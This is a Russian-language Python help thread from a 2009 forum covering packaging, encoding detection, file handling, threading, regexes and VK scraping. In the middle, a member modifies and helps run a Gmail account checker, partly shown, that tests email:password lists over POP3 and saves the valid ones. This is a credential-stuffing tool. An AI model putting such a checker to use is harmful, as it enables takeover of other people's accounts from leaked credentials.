Просмотр полной версии : [Python] вопрос/ответ.
Tile или с помощью komodoide :) вообще на су много на эту тему тем оО вот как
Вопрос, можно ли сделать так что бы при компиляции py2exe, все паковалось в один ехе файл, все библиотеки модули и все остальное
Я что-то слышал о Cx_freeze. А вообще поюзай google: ответы там есть.
[n]-c0der
25.07.2009, 06:31
Вопрос, можно ли сделать так что бы при компиляции py2exe, все паковалось в один ехе файл, все библиотеки модули и все остальное
можно.
login999
25.07.2009, 14:01
Вопрос, можно ли сделать так что бы при компиляции py2exe, все паковалось в один ехе файл, все библиотеки модули и все остальное
И да и нет :D
Оно там если пакует в один файл, то это фактически один sfx-архив, перед запуском оно распаковывается во временный каталог и работает из него, относительные пути не канают, динамическую подгрузку тож не сделаешь, фиг угадаешь из какой диры запускали скрипт
login999
25.07.2009, 14:06
А ты сам что юзаешь?
Пишу на Tkinter , графических рисовалок гуя не знаю (кроме рисовалок под wxwidgets(wxglade), pyqt(qtdesigner),pygtk(Glade кажисьесть и под него)), пишу все вручную, хорошо тем что лишнего кода не выйдет+сам знаю что я делаю. Советую гуй писать вручную - если знаешь как оно работает то можно интегрировать гуй со своими приблудами :D
Но немного геморно подпиливать код под кроссплатформ, иногда по разному гуй выглядит под винь и линь, про Макось хз :D
jecka3000
29.07.2009, 21:31
есть установщик самого питона и его интерпритатора (PyScripter например) на кпк/коммуникатор ибо долгое время не бываю дома, нетбука нет.
П.С. Glofish x800 стоит винда 6.0.
login999
30.07.2009, 09:19
Есть Linux (на работе) и Windows (дома), есть как сорцы под линуху, так и инсталлятор под винду, дома почти каждый день, на работе тоже (кроме выходных), нетбука тоже нет.
P.S. Nokia(хз че за модель, близко к 3310, 6230 свою раздавил :()
сабж (http://www.python-forum.org/pythonforum/viewtopic.php?f=1&t=10022&start=0)
Есть ли для питона какой-нибудь аналог пхпшной функции mb_detect_encoding? Есть простенький модуль для джабберного бота, который открывает порт и пересылает все принятые на него данные дальше. Соединение может быть откуда угодно (телнет, пхп сокет, и т.д.) Поэтому и кодировок несколько CP866, CP1251, UTF8. Как бы подружить их всех с русским языком?
Есть ли для питона какой-нибудь аналог пхпшной функции mb_detect_encoding?
С питоном незнаком, но первая сцыль в гугле выдала http://chardet.feedparser.org , похоже то что требуется.
login999
13.08.2009, 09:03
Есть ли для питона какой-нибудь аналог пхпшной функции mb_detect_encoding? Есть простенький модуль для джабберного бота, который открывает порт и пересылает все принятые на него данные дальше. Соединение может быть откуда угодно (телнет, пхп сокет, и т.д.) Поэтому и кодировок несколько CP866, CP1251, UTF8. Как бы подружить их всех с русским языком?
Нету аналогов :( Я сам бы много отдал за автоматическое определение кодировки...
__mad, не в теме, это не то что нужно
__mad, не в теме, это не то что нужно
Хм, и почему же это не подходит?
вот например создаем файлы с разными кодировками:
$iconv -f UTF-8 -t 866 <(echo Привет) > enc-866
$iconv -f UTF-8 -t WINDOWS-1251 <(echo Привет) > enc-windows-1251
$echo Привет > enc-utf-8
Теперь запускаем следующий код (использующий эту либу):
import glob
from chardet.universaldetector import UniversalDetector
detector = UniversalDetector()
for filename in glob.glob('enc-*'):
print filename.ljust(60),
detector.reset()
for line in file(filename, 'rb'):
detector.feed(line)
if detector.done: break
detector.close()
print detector.result
$ python enc.py
enc-866 {'confidence': 0.98999999999999999, 'encoding': 'IBM866'}
enc-windows-1251 {'confidence': 0.98999999999999999, 'encoding': 'windows-1251'}
enc-utf-8 {'confidence': 0.98999999999999999, 'encoding': 'utf-8'}
Как видно, скрипт (точней либа) правильно определила разные кодировки.
login999
13.08.2009, 17:10
Не обратил внимания на то что он работает со строками, в таком случае да, но я не доверяю чужим модулям, до тех пор пока они не попадают в стандартную библиотеку.
Доверяю Гвидо на все 100%, такая цацка я думаю была бы востребована, если ее не включили в стандартную поставку(более чем уверен в том, что этот вопрос поднимался), знач чето с ней не то.
Вообще, если разобраться по большому счету, то использование чужих модулей конкретно сказывается на юзерах - первое это зависимости(и неудобство как следствие того), а второе-это кривизна кода самого модуля, упрощение команд бота ИМХО(!) не стоит того, чтобы рисковать и ставить непонятно что, которое неизвестно как будет работать.
Кому как, а я (с) Мы не ищем лёгких путей!
до тех пор пока они не попадают в стандартную библиотеку.
Сторонние модули будут всегда, в независимости от того хорошо они написаны или криво, из за того что в стандартную библиотеку по простому все не влезет, да и не надо оно там.
Вообще, если разобраться по большому счету, то использование чужих модулей конкретно сказывается на юзерах
Это тоже довольно спорно, юзер может даже и не знать что в программе используется тот или иной не стандартный модуль, по простому я могу распространять свою программу с этими модулями.
а второе-это кривизна кода самого модуля
Я думаю что люди пишущие модули, вполне способны качественно написать код, тем более если они это пишут не только для себя.
которое неизвестно как будет работать.
Вполне известно, например для этой либы в документации есть файлик how-it-works.html где вполне кратко описан алгоритм работы либы (в крайнем случае можно пробежаться по коду).
упрощение команд бота
С этим согласен, бот должен по возможности состоять только из кода входящего в стандартную библиотеку (для минимизации размера, и возможность запуска в различных средах).
Еще как вариант, можно использовать вот такой способ:
enc_list=['utf-8', 'windows-1251', 'IBM866']
def try_encoding(text):
for try_enc in enc_list:
try:
unicode(text, try_enc, "strict")
except:
pass
else:
break
return try_enc
Правда с 866 он не выдает экзепшен, так что для этой кодировки нужно придумать что ни будь другое.
__mad К сожалению Universal Detector дает много неправильных срабатываний для достаточно коротких строк. Эксепшн в unicode тоже не панацея. Что ж, придется видимо первыми байтами передавать цифровой код, указывающую на кодировку, в случае отсутствия - переводить в хекс, а дальше пусть на той стороне разбираются
login999
14.08.2009, 09:44
__mad К сожалению Universal Detector дает много неправильных срабатываний для достаточно коротких строк. Эксепшн в unicode тоже не панацея. Что ж, придется видимо первыми байтами передавать цифровой код, указывающую на кодировку, в случае отсутствия - переводить в хекс, а дальше пусть на той стороне разбираются
Мб лучше делать все через какой-то специализированный клиент, а юзерам давать возможность указывать кодировку?
Просто даже если брать консоль, то в виндовой консоли cp866, а в лине обычно utf8, что уже получается хрен знает что.
login999
14.08.2009, 09:54
Сторонние модули будут всегда, в независимости от того хорошо они написаны или криво, из за того что в стандартную библиотеку по простому все не влезет, да и не надо оно там.
Это тоже довольно спорно, юзер может даже и не знать что в программе используется тот или иной не стандартный модуль, по простому я могу распространять свою программу с этими модулями.
Я думаю что люди пишущие модули, вполне способны качественно написать код, тем более если они это пишут не только для себя.
Вполне известно, например для этой либы в документации есть файлик how-it-works.html где вполне кратко описан алгоритм работы либы (в крайнем случае можно пробежаться по коду).
С этим согласен, бот должен по возможности состоять только из кода входящего в стандартную библиотеку (для минимизации размера, и возможность запуска в различных средах).
Еще как вариант, можно использовать вот такой способ:
enc_list=['utf-8', 'windows-1251', 'IBM866']
def try_encoding(text):
for try_enc in enc_list:
try:
unicode(text, try_enc, "strict")
except:
pass
else:
break
return try_enc
Правда с 866 он не выдает экзепшен, так что для этой кодировки нужно придумать что ни будь другое.
how it works - нихера не показатель, я могу тоже много чего наворотить и описать как оно типа должно работать.
Насчет стандартной библиотеки- не угадали, если взглянуть на тенденции в развитии питона а также на ареал его обитания, то сразу становится ясным что такая вещь была бы очень востребована (python3.1 -возможность указания кодировки при открытии файла, для внутреннего преображения используется utf8, дабы сие чудо работало так как нужно, то оно уже было бы встроенным во внутренности питона), плюс ареал его обитания -от мобильных устройств до Макоси.
"Люди пищущие модули могут качественно написать код"-далеко не факт, я как и любой другой могу выложить свой код, вот только у меня сомнения в его качестве, уважаемый Gifts в свое время поднимал вопрос по оптимизации xmpp бота на python, ибо жрал он много оперативки, для создания бота использовался xmpppy, что-то мне подсказывает что если бы это было написано им лично, то такой вопрос не ставал бы (имею ввиду модуль для работы с xmpp).
how it works - нихера не показатель, я могу тоже много чего наворотить и описать как оно типа должно работать.
И часто ли ты встречался с таким кодом (модулями) где автор пишет в описание одно, а код совершенно другой, помойму таки это уже попахивает паранойей. Да, и в мире СПО я с таким ни разу не встречался, обычно если есть какие то проблемы с модулем, о них пишут в секции Know Issue (Bugs, и т.п.), а за показатель качества кода говорит, например, комюнити сформировавшееся вокруг него.
то сразу становится ясным что такая вещь была бы очень востребована
(python3.1 -возможность указания кодировки при открытии файла)
Возможность указания, и распознавание кодировки - это разные вещи. Но речь не об этом.
В той мысли я имел ввиду не конкретный модуль, а то что необходимость пользоваться сторонними модулями будет всегда.
уважаемый Gifts в свое время поднимал вопрос по оптимизации xmpp бота на python, ибо жрал он много оперативки
А что ему мешало отрапортовать об проблеме автору бота? Уверен что он бы откликнулся и, возможно, исправил проблему, или же подсказал как это обойти. (В СПО, багрепорты, всегда приветствуются)
что-то мне подсказывает что если бы это было написано им лично, то такой вопрос не ставал бы
Возможно, но так же могли бы и появится другие проблемы, да и думаю что времени было бы потрачено больше, чем на исправления этой проблемы.
login999
14.08.2009, 15:39
И часто ли ты встречался с таким кодом (модулями) где автор пишет в описание одно, а код совершенно другой, помойму таки это уже попахивает паранойей. Да, и в мире СПО я с таким ни разу не встречался, обычно если есть какие то проблемы с модулем, о них пишут в секции Know Issue (Bugs, и т.п.), а за показатель качества кода говорит, например, комюнити сформировавшееся вокруг него.
Возможность указания, и распознавание кодировки - это разные вещи. Но речь не об этом.
В той мысли я имел ввиду не конкретный модуль, а то что необходимость пользоваться сторонними модулями будет всегда.
А что ему мешало отрапортовать об проблеме автору бота? Уверен что он бы откликнулся и, возможно, исправил проблему, или же подсказал как это обойти. (В СПО, багрепорты, всегда приветствуются)
Возможно, но так же могли бы и появится другие проблемы, да и думаю что времени было бы потрачено больше, чем на исправления этой проблемы.
Эхх, это не попахивает, это и есть паранойя и паталогическое недоверие к чужому коду (исключение составляют только действительно серьезные продукты, которые заслужили всеобщее признание и уважение , такие как Джанго, Твистед). Принципиально не использую сторонних модулей и считаю, что стандартной библиотеки питона в повседневной жизни хватает абсолютно с головой, для серьезных же проектов код пишется свой от А до Я (исключения из этого правила смотри выше). Если бы модуль автоматического определения кодировки работал исправно, то он бы давно уже был в стандартной поставке(хотя это может быть и только мое ИМХО). Необходимость использования сторонних модулей (не путать с фреймворками, см выше) стоит только для тех кто не хочет хотя бы на необходимом ему уровне разобраться с тем, чем он собрался оперировать, я же считаю неприемлимым для программиста работать с чем либо, не понимая КАК оно работает. Хотя в принципе я не программист, так что хз как там у кодеров принято...
=============================================
P.S> Забыл добавить - я мудак и ламо
Почему не работает?((
#!/usr/bin/env python
# Gmail Account Checker
import sys, poplib
def printHelp():
print '\nUsage: ./gmailcheck.py <emaillist>'
print 'Example: ./gmailcheck.py emails.txt'
print '\nNote: The accounts must be in the following format: user@gmail.com:password\n'
print '''
\t _____ _ _
\t| __|_____ ___|_| |
\t| | | | .'| | |
\t|_____|_|_|_|__,|_|_|
\t Account Checker
'''
if len(sys.argv) != 2:
printHelp()
exit(1)
......
login999
19.08.2009, 09:05
Ужоснах )
Дай попробую угадаю - сие есть творчество Дегидрейта с darkc0de.com ?.
aka
#d3hydr8[at]gmail[dot]com
Можно подробнее:
1. Какая версия питона установлена на той машине, где запускают скрипт.
2. Трейсбек ошибки (или текстом, или желательно скрин).
P.S. Желательно также ОС на которой это запускается, если для *nix, то как питон устанавливался (из репов или собирался вручную). И размер файлов которые грузятся в скрипт, ибо валидные акки хранятся в оперативке, и пишутся в файл уже после того как обработаются ВСЕ акки
именно #d3hydr8[at]gmail[dot]com
запускаю ру, и нихрена не происходит. Открылось - закрылось)
login999
19.08.2009, 09:12
попробуй запустить его через консоль, и скажи чего оно там выводит, самый простейший вариант - скопировать скрипт в корень диска C, потом зайти в консольку, сделать cd c:, потом имя_скрипта.py, вот ошибку которая вылезет скинешь сюда плиз, и уточни версию питона которая установлена у тебя на машине
login999
19.08.2009, 09:14
Ой, вах-вах-вах, запустил токмо что сам, щас тебе переделаю его так чтоб не исчезал (он написан под Python2.6, поэтому на 3.1 запустить не получится)
как раз 2.6 и установлен, буду оч. благодарен, за переделку)
login999
19.08.2009, 09:19
#!/usr/bin/env python
# Gmail Account Checker
import sys, poplib
def printHelp():
print '\nUsage: ./gmailcheck.py <emaillist>'
print 'Example: ./gmailcheck.py emails.txt'
print '\nNote: The accounts must be in the following format: user@gmail.com:password\n'
print '''
\t _____ _ _
\t| __|_____ ___|_| |
\t| | | | .'| | |
\t|_____|_|_|_|__,|_|_|
\t Account Checker
'''
printHelp()
mailfile = raw_input("ENTER NAME OF FILE WITH ACCOUNTS :")
#Change these if needed
SAVEFILE = 'valid_accounts.txt'
HOST = 'pop.gmail.com'
PORT = 995
# Do not change anything below.
maillist = mailfile
valid = []
currline = 0
try:
handle = open(maillist)
except:
print '\n[-] Could not open the accounts file. Check the file path and try again.'
print '\n[-] Quitting ...'
exit(1)
for line in handle:
currline += 1
try:
email = line.split(':')[0]
password = line.split(':')[1].replace('\n', '')
except:
print '\n[-] Erroneous account format at line %d.' % currline
print '[!] Accounts must be in the following format: user@gmail.com:password'
print '\n[-] Quitting ...'
exit(1)
...
Каммент:
У дегидрейта все скрипты заточены для запуска через командную строку, этому скрипту нужно в качестве парметров передавать имя файла с аккми, т.е вызывать его через командную строку так :имя_скрипта.py имя_файла_с_акками.txt, я тебе пределал так, что он при запуске спросит имя файла с акками, введешь ему и дальше он (если он до сих пор актуален) должен запуститься нормально
так ёпт, там капча вылазит)), а я думаю, чё один не валид прёт, и всё-таки, спс, за старание)
login999
19.08.2009, 09:29
Да не за что, ток он проверяет через pop3, так что про капчу можешь не париться, он неактуален станет, когда гугл начнет банить по айпишнику...
И еще одно - мне не нравится как там сделана обработка ошибок, любой акк на котором вылезет любая ошибка будет считаться невалидным, короче чекер на 3 балла, дерьмовая обработка ошибок как минимум
P.P.S> Скопируй переделанный мною скрипт еще раз - добавил чтоб он выводил ошибки во время работы, тогда хоть будешь знать на каком моменте он тормозит
login999
19.08.2009, 10:45
Python 3.1 обновился до Python3.1.1
changelog (http://svn.python.org/projects/python/tags/r311/Misc/NEWS)
Радует :
- Issue #1424152: Fix for http.client, urllib.request to support SSL while
working through proxy. Original patch by Christopher Li, changes made by
Senthil Kumaran
Теперь можно работать с SSL через проксю
Есть следующий код, скрипт должен удалить найденную строку:
for line in open("file.txt","r").readlines():
if line == "some string":
# тут надо удалить строку, как это проще всего сделать?
InFlame
Проще всего будет те строки, что не надо удалять, записывать в новый файл.
login999
20.08.2009, 09:11
Есть следующий код, скрипт должен удалить найденную строку:
for line in open("file.txt","r").readlines():
if line == "some string":
# тут надо удалить строку, как это проще всего сделать?
cr0w прав, так будет проще, а с твоим подходом, то это будет еще и производительнее.
#!usr/bin/env python
#-*-encoding:utf8-*-
stroka = "Проверочное значение"
with open("file.txt") as inpt:
with open("out.txt","w") as out:#Тут аккуратнее, файл будет перезаписываться каждый раз, если сделать open("out.txt", "a") то будет дозапись в конец файла
for line in inpt:
line = line.replace("\r", "").replace("\n", "")# Очистка от символов конца строки (по желанию)
if line == stroka:
pass
else:
out.write(line+"\n")#Пишем в файл строку с символом конца строки чтоб писалось нормально, а не в одну строчку
P.S>Код должен быть кросспитонен (:D) -т.е работать и под 3.1 и под 2.6, может вообще не работать так как не проверял ибо лень ), под 2.6
line = line.replace("\r", "").replace("\n", "")
Можно заменить на
line = line.translate(None, "\r\n")
Так норм будет?
#!/usr/bin/env python
import os
f, o = open('file.txt', 'r'), open('out.txt', 'a')
for line in f.readlines():
if 'some string' not in line:
o.write(line)
f.close()
o.close()
os.popen('rm file.txt')
os.popen('mv out.txt file.txt')
login999
20.08.2009, 12:15
Неа )
У тебя трабла в том что ты делаешь .readlines() - а это грузит файл в оперативку )
for line in f.readlines(): замени на for line in f:
Lord NightKon
23.08.2009, 10:04
Приветы всем..
Тут у меня возник некий ступор при попытке написания многопоточных программ...
Конкретного вопроса у меня нет.. хотелось бы получить небольшой ман или линк на ман о потоках..
интерпритатор: Python 2.5.2
OS: Linux
Lord NightKon
23.08.2009, 13:40
я уточню:
меня интересует конкретный ман с конкретными примера, а не просто сгусток информации о модулях
и с инглишем тоже туговато, так что было бы неплохо ман на русском
Почти в любой книге по питону посвящен нитям целый раздел
Вот тут статья _http://keysolutions.ru/articles/osnovy-raboty-s-potokami-v-python
Неужели так впадлу в гугле посмотреть, а не сразу на форум что бы другие искали?
Lord NightKon
23.08.2009, 15:50
дорогой razb, я сам очень не люблю людей, которые ленятся сами что-то предпринять относительно их вопроса, но сейчас сложилось так, что по запросу вида "потоки+python" первые страниц пять -копипаст одной и той же статьи без внятных примеров.. по-этому просто не делайте поспешных выводов о других - вы можете оказаться не правы
Lord NightKon:
http://www.network-theory.co.uk/docs/pytut/Multithreading.html
http://www.devshed.com/c/a/Python/Basic-Threading-in-Python/
http://www.tutorialspoint.com/python/python_multithreading.htm
http://www.artfulcode.net/articles/multi-threading-python/
Собственно все ссылки из гугла. Если не понимаешь, то лучше почитай про многопоточное программирование на других языках (принципы те же).
login999
25.08.2009, 09:19
дорогой razb, я сам очень не люблю людей, которые ленятся сами что-то предпринять относительно их вопроса, но сейчас сложилось так, что по запросу вида "потоки+python" первые страниц пять -копипаст одной и той же статьи без внятных примеров.. по-этому просто не делайте поспешных выводов о других - вы можете оказаться не правы
Да там все просто )
Я юзаю модель на основе ThreadPool -Queue да и все в принципе, queue наполняется задачами, а потоки по очереди берут их оттуда в бесконечном цикле, до тех пор пока не вылезет exception QueueEmpty, примера не дам, если не лень поискать, то посмотри на python.su человека с ником lorien, он первый у кого я увидел эту модель, там где-то лежит ссыль от него на код на dumpz.org, где выложена эта цацка, в принципе там все понятно
login999
28.08.2009, 18:13
Опустил нас Jes.
Хотя Rebz сказал что в случае чего перенесет.
Бастуем ?
Этот раздел более популярен, нежели чем соседний :) - зачем бастовать?
хотя можно...для разнообразия ) как будем бастовать?
Этот раздел более популярен, нежели чем соседний - зачем бастовать?
к тому же имхо более коректен как для скриптового яп
думаю популярность только увеличиться )
как будем бастовать?
сидеть в оффлайне ))
login999
29.08.2009, 15:46
Не, мало нас :(
Хз, мб попробовать подергать цветных питонеров, которые тут пробегали ?
inlanger
29.08.2009, 17:21
Я сразу говорил что этой теме место в этом разделе. Питон скриптовый язык, поэтому ему место тут.
Кстати вот по многопоточности пример http://www.ndcoders.ru/showthread.php?t=184
Кстати вот по многопоточности пример http://www.ndcoders.ru/showthread.php?t=184
Кстати, не очень хороший пример. Модуль Queue так, как там предлагается, использовать вобщем-то бессмысленно и совершенно нерационально.
Admin Derek
30.08.2009, 13:22
кто может помочь с авторизацией ВКонтакте через питон?
пробывал так..только что то не выходит =(
import urllib
import urllib2
urllib2.install_opener(urllib2.build_opener(urllib 2.HTTPCookieProcessor))
def main() :
params = urllib.urlencode({
'op': "a_login_attempt",
'email': "pupkin%mail.ru",
'pass': "vas9",
'expire': "0"
})
f = urllib2.urlopen(
"http://vkontakte.ru/login.php",
params)
print f.read()
login999
31.08.2009, 09:43
Кстати, не очень хороший пример. Модуль Queue так, как там предлагается, использовать вобщем-то бессмысленно и совершенно нерационально.
Напиши лучше
login999
31.08.2009, 09:48
Я сразу говорил что этой теме место в этом разделе. Питон скриптовый язык, поэтому ему место тут.
Если честно, то если бы на ачате были разделы скриптовые и компиллируемые языки, то так бы оно и было, а так то деление получается на усмотрение модератора, выходит что тема для тех кто начинает на нем программировать торчит в разделе C/C#, а вопрос/ответ в PHP/PERL непохек =/
Admin Derek
31.08.2009, 10:52
ага, спасиба всем за помощь блин :D
сам нашел уже))
Спасибо, e4key
за ссылку^^
login999
31.08.2009, 11:44
ага, спасиба всем за помощь блин :D
сам нашел уже))
Спасибо, e4key
за ссылку^^
поиск по античату - авторизация вконтакте на python и cgi - De-Visible положил готовую функцию для авторизации
Напиши лучше
Зачем? Хороший пример есть в документации.
К тому же, я считаю, чтоб писать маны какие-то по программированию, надо самому быть спецом в данной теме. Я себя таковым пока не считаю...
login999
01.09.2009, 09:10
Зачем? Хороший пример есть в документации.
К тому же, я считаю, чтоб писать маны какие-то по программированию, надо самому быть спецом в данной теме. Я себя таковым пока не считаю...
Я себя тоже не считаю спецом, но когда тебе долбят асю по 3 раза в день с вопросами такого содержания :
"А я вот тут вот кароче знаю PHP, вчера установил Python и вот тут кароче нужно многопоточность прикрутить к скрипту, но CURL я типа юзать не хочу, так как это не многопоточность".
Тогда приходится ставать спецом по Python и писать статьи по многопоточности, причем именно с Queue так как люди не хотят врубаться даже в понятие замка, и если честно, то Queue я уже давненько не использовал ибо незачем, это тот же самый список с замками, своих аналогов можно написать вагон и тачечку сверху. Вот только если уж начал, то договаривай - чем же нерационально использование Queue в таком случае ?
Admin Derek
01.09.2009, 12:07
эйй...всех с трауром во первых..=)
далее..
Мне вот надо найти на .php странице определенную строку(ну это контакт как бэ wall.php)
строка 114:
<div class="summary">Показаны записи 1 - 20 из 2710.</div>
и записать это в переменную...
Отпарси регуляркой:
result = re.search(r"<div class="summary">(.+?)</div>", page_data)
print(result.groups())
login999
01.09.2009, 14:38
эйй...всех с трауром во первых..=)
далее..
Мне вот надо найти на .php странице определенную строку(ну это контакт как бэ wall.php)
строка 114:
<div class="summary">Показаны записи 1 - 20 из 2710.</div>
и записать это в переменную...
import re
page = urllib.urlopen("http://www.vkontakte.ru/wall.php").read()
peremennaya = re.findall(r"\<div class\=\"summary\"\>(.*?)\<\/div\>", page)[0]
print peremennaya
Есть ли в питоне аналог пхпшной функции isset() (Проверяет на существование переменную)?
P.s Знаю что можно использовать исключения,но хотелось бы узнать есть ли такая функция.
Есть ли в питоне аналог пхпшной функции isset() (Проверяет на существование переменную)?
P.s Знаю что можно использовать исключения,но хотелось бы узнать есть ли такая функция.
Например так:
>>> value = 123
>>> 'value' in globals()
True
>>> 'value1' in globals()
False
также если в функции, то можно применить locals()
Есть ли в питоне аналог пхпшной функции isset() (Проверяет на существование переменную)?
P.s Знаю что можно использовать исключения,но хотелось бы узнать есть ли такая функция.
Лучше все же использовать исключения.
Admin Derek
01.09.2009, 20:15
razbх,
login999,
спасиба, щас попробую =))
Admin Derek
01.09.2009, 20:43
вот..доделал, проверка стены)) на новое сообщение, пок..без всяких оповещений..просто с текстом New Message..плиз оцените, это мой первый скрипт...)
import urllib2, urllib
import cookielib
import re, time
import string
#from urllib2 import urlopen
########################
# Satan Wall 1.0(final) #
########################
Email = 'bill@microsoft.com' #мыло
pas = 'win7' #пасс
SiteWall = 'http://vkontakte.ru/wall.php?id=7' # ид стены
#начало подключение
def connect(): #создадим отдельную функцию для подключения, в дальнеишем может пригодиться)
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(c ookie))
urllib2.install_opener(opener)
headers = {"User-Agent" : "Mozila/4.0 (compatible; MSIE 5.5; WindowsNT)"}
page=urllib2.urlopen(urllib2.Request('http://vkontakte.ru/login.php?email='+Email+'&pass='+pas,None,headers)).read()
print 'On-line' #подключились =)
#первая проверка стены
tempVK = 0 #переменная для первого подключения
Error = 0 #счетчик ошибок
def WallOn(wall): #функция самой проверки
time.sleep(5) #пауза в 5 секунд, а куда торопиться?!))
# NewWall = wall #ровняем старую стенку новой и...
NewWalltemp = urllib2.urlopen(SiteWall).read() #...открываем стенку
NewWall = re.findall(r"\<div class\=\"summary\"\>(.*?)\<\/div\>", NewWalltemp)[0]
# print 'god, ', NewWall проверка, для отладки
if wall == NewWall: #проверяем есть ли разница между первым и вторым значением стены, промежуток..кххм)
WallOn(wall) #если всё так же, вызываем эту же функцию..вдруг всё же напишут xD
else: #но если написали
print 'New message' #говорим сразу мне
walltemp = urllib2.urlopen(SiteWall).read()
wall = re.findall(r"\<div class\=\"summary\"\>(.*?)\<\/div\>", walltemp)[0]
# wall = NewWall #записывем новую стену заместо старой)
NewWall = 'clear' #и очишаем переменную, чтобы не повторялось каждые 15 секунд о новом сообщений)
WallOn(wall) #запустим функцию заново =)
def body(tempVK, Error):
if tempVK == 0: #если это первоая проверка, то записываем в переменную значиение стенки)
walltemp = urllib2.urlopen(SiteWall).read() #вот так вот это делаем)
wall = re.findall(r"\<div class\=\"summary\"\>(.*?)\<\/div\>", walltemp)[0]
# print 'ok, ', wall #приверка, для отладки
tempVK = 1 #гооврим прямо, на сегодня хватит)
WallOn(wall) #и вызовим функцию =))
else: #если же это уже не первая проверка, и произошла какая то ошибка, то...
walltemp = urllib2.urlopen(SiteWall).read()
wall = re.findall(r"\<div class\=\"summary\"\>(.*?)\<\/div\>", walltemp)[0]
Error += 1 #прибавляем счетчику ошибок число
print 'Error: ', Error #и в слезах жалуемся мне))
WallOn(wall) #...передаем параметр стены
###########НАЧАЛО КАК НЕ СТРАННО ТУТ, В КОНЦЕ!!!##############
connect() #вызовем функцию, тоесть начнем соединение
body(tempVK, Error) #проверим стену первый раз
эм...первый скрипт =)) всем спс за помощь =))
Вот только если уж начал, то договаривай - чем же нерационально использование Queue в таком случае ?
Ок, раз тебе интересно, поясню. В том скрипте в очередь помещается 250 практически идентичных кортежей, затем поточная функция вытягивает их по-одному и использует. Но зачем? Вся эта почти одинаковая инфа ведь зазря отъедает память процесса. Можно было бы обойтись простым итератором в поточной функции, ведь его содержимое (кортежа) заранее известно. Нужно лишь использовать Lock на строке с итерацией (что, вообще говоря, элементарно как в использовании, так и для понимания).
Queue хорош в гораздо более сложных случаях - например, когда ты "демонизируешь" несколько потоков для обработки ими каких-то данных, а данные эти, например, могут поступать из другого процесса, и т.п...
login999
02.09.2009, 09:02
Ок, раз тебе интересно, поясню. В том скрипте в очередь помещается 250 практически идентичных кортежей, затем поточная функция вытягивает их по-одному и использует. Но зачем? Вся эта почти одинаковая инфа ведь зазря отъедает память процесса. Можно было бы обойтись простым итератором в поточной функции, ведь его содержимое (кортежа) заранее известно. Нужно лишь использовать Lock на строке с итерацией (что, вообще говоря, элементарно как в использовании, так и для понимания).
Queue хорош в гораздо более сложных случаях - например, когда ты "демонизируешь" несколько потоков для обработки ими каких-то данных, а данные эти, например, могут поступать из другого процесса, и т.п...
Эх, я-то думал дейстивтельно что-то серьезное :)
Обьясню -я использую Queue по-разному, одним из таких случаев было когда у меня отдельный поток обрабатывал его наполнение и создавалась динамическая подгрузка из файла :)
В случае проблем с соединением строка добавлялась обратно в Queue, то что там тебе так не понравилось это :
1) Учебный пример, я лично считаю что в учебных примерах абсолютно пофигу на нагрузку, так как он должен быть читабельнее
2) Это заранее закидон в ту сторону чтобы сразу смотреть в сторону Queue, тот кто понял о чем там написано, тот и поймет недостатки примера, а уников которые любят скопипиздить и всунуть пару своих изменений ожидает глубокое разочарование - так как для реального использования пример не покатит.
P.S. Очень дохера таких уников :)
login999
Я бы может и поспорил с тобой насчет того, какими должны быть учебные примеры, но это, как я уже понял, бессмысленно...
R[00]T1X
08.09.2009, 17:30
Изучаю питон и не как не могу разобраться с регулярным выражением.
Помогите пожалуйста разобрать строку "textone:texttwo" что бы строка до двоеточия была в одной переменной и после двоеточия во второй переменной. Заранее благодарю.
R[00]T1X Не забивайте гвозди микроскопом str = "textone:texttwo"
a,b = str.split(':',1)
print a, '-', b
Но если очень хочется: import re
str = "textone:texttwo"
a, b = re.search('(?msi)([^:]+):(.+)',str).groups()
print a, '-', b
R[00]T1X
08.09.2009, 17:57
Gifts
Не забивайте гвозди микроскопом
вот это точно. :) Спасибо за первый вариант.
Где можно найти декомпилятор pys ?
login999
23.09.2009, 22:16
Под кого копаем ?
Имя файла в ПМ пожалуйста ...
Где можно найти декомпилятор pys ?
pyc? Это байткод питона, тебе сюда http://docs.python.org/library/dis.html
boris_blade
28.09.2009, 20:45
Всем привет.
Пробую себя в написании аплодера файлов на rghost
И вот дальше этого кода мысль встала
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib
import urllib2
data= {}
data['authenticity_token'] = 'joCl96XEXhfW2AU54TrblablablaNieWixd7MfUpPgB1nZViA ='
data['file'] = open('/home/user/scripts/toonel.jar')
url_values = urllib.urlencode(data)
url = 'http://phonon.rghost.ru/files'
full_url = url + '?' + url_values
headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
data=urllib2.urlopen(full_url)
thepage = data.read()
Соответственно скрипт вывод хтмл код сайта, а хотелось бы чтобы выводил линк на загруженный файл.
Подскажите, пожалуйста, куда дальше копать и что делать.
login999
28.09.2009, 20:49
Наконец-то в соответствующий раздел...
Ответ очень прост:
1) Проснифать сессию работы браузера и своего скрипта, и выявить отличия
2) Понять что Python не формирует multi-part data автоматически, просто по твоему желанию.
3) Полазить по activestate и найти пример как создавать multi-part
P.S. когда-то делал подобное, тогда замучился конкретно...
Ссылочка на activestate :http://code.activestate.com/recipes/146306/
boris_blade
28.09.2009, 21:11
а чем поснифать можно?
login999
28.09.2009, 21:29
а чем поснифать можно?
wireshark - кроссплатформенно
httpanalyzer - под винду
Как подсчитать количество повторов в тексте ?
т.е например сколько раз встречается слово "да"
Как подсчитать количество повторов в тексте ?
т.е например сколько раз встречается слово "да"
count(...)
S.count(sub[, start[, end]]) -> int
Return the number of non-overlapping occurrences of substring sub in
string S[start:end]. Optional arguments start and end are interpreted
as in slice notation.
"This is the string".count('is')
login999
29.09.2009, 13:36
Насчет повторов - рекомендою взглянуть на модуль collections, на класс Counter, советую поглядеть, авось лучше будет.
================================================== =========
А теперь пост для тех, кто как и я думает, переезжать ли на Python 3.1 или оставаться на 2.6.2, ответ : однозначно НУ ЕГО НА ХУЙ PYTHON 3.1. Я прошу прощения за неадекватность предыдущего предложения, но после нескольких месяцев юзания Python3.1 могу сказать что щас обратно возвращаюсь на 2.6 бажность убивает.
Последним подтверждением был сегодняшний тестовый запуск скрипта с гуем на ттк, это пиздец просто, слов нету. Умолчу о каких-то непонятках с конфигпарсером и кириллицей, мать их. Скрипт под линем запустился 3/3 , под виндой 5/5 Но вот под виндой ни разу нормально не отработал, висняки либо в начале работы, либо в конце (болезненно они реагируют на messagebox). Короче советую задуматься над этим, я лично был искушен красивым ttk под Python3.1
boris_blade
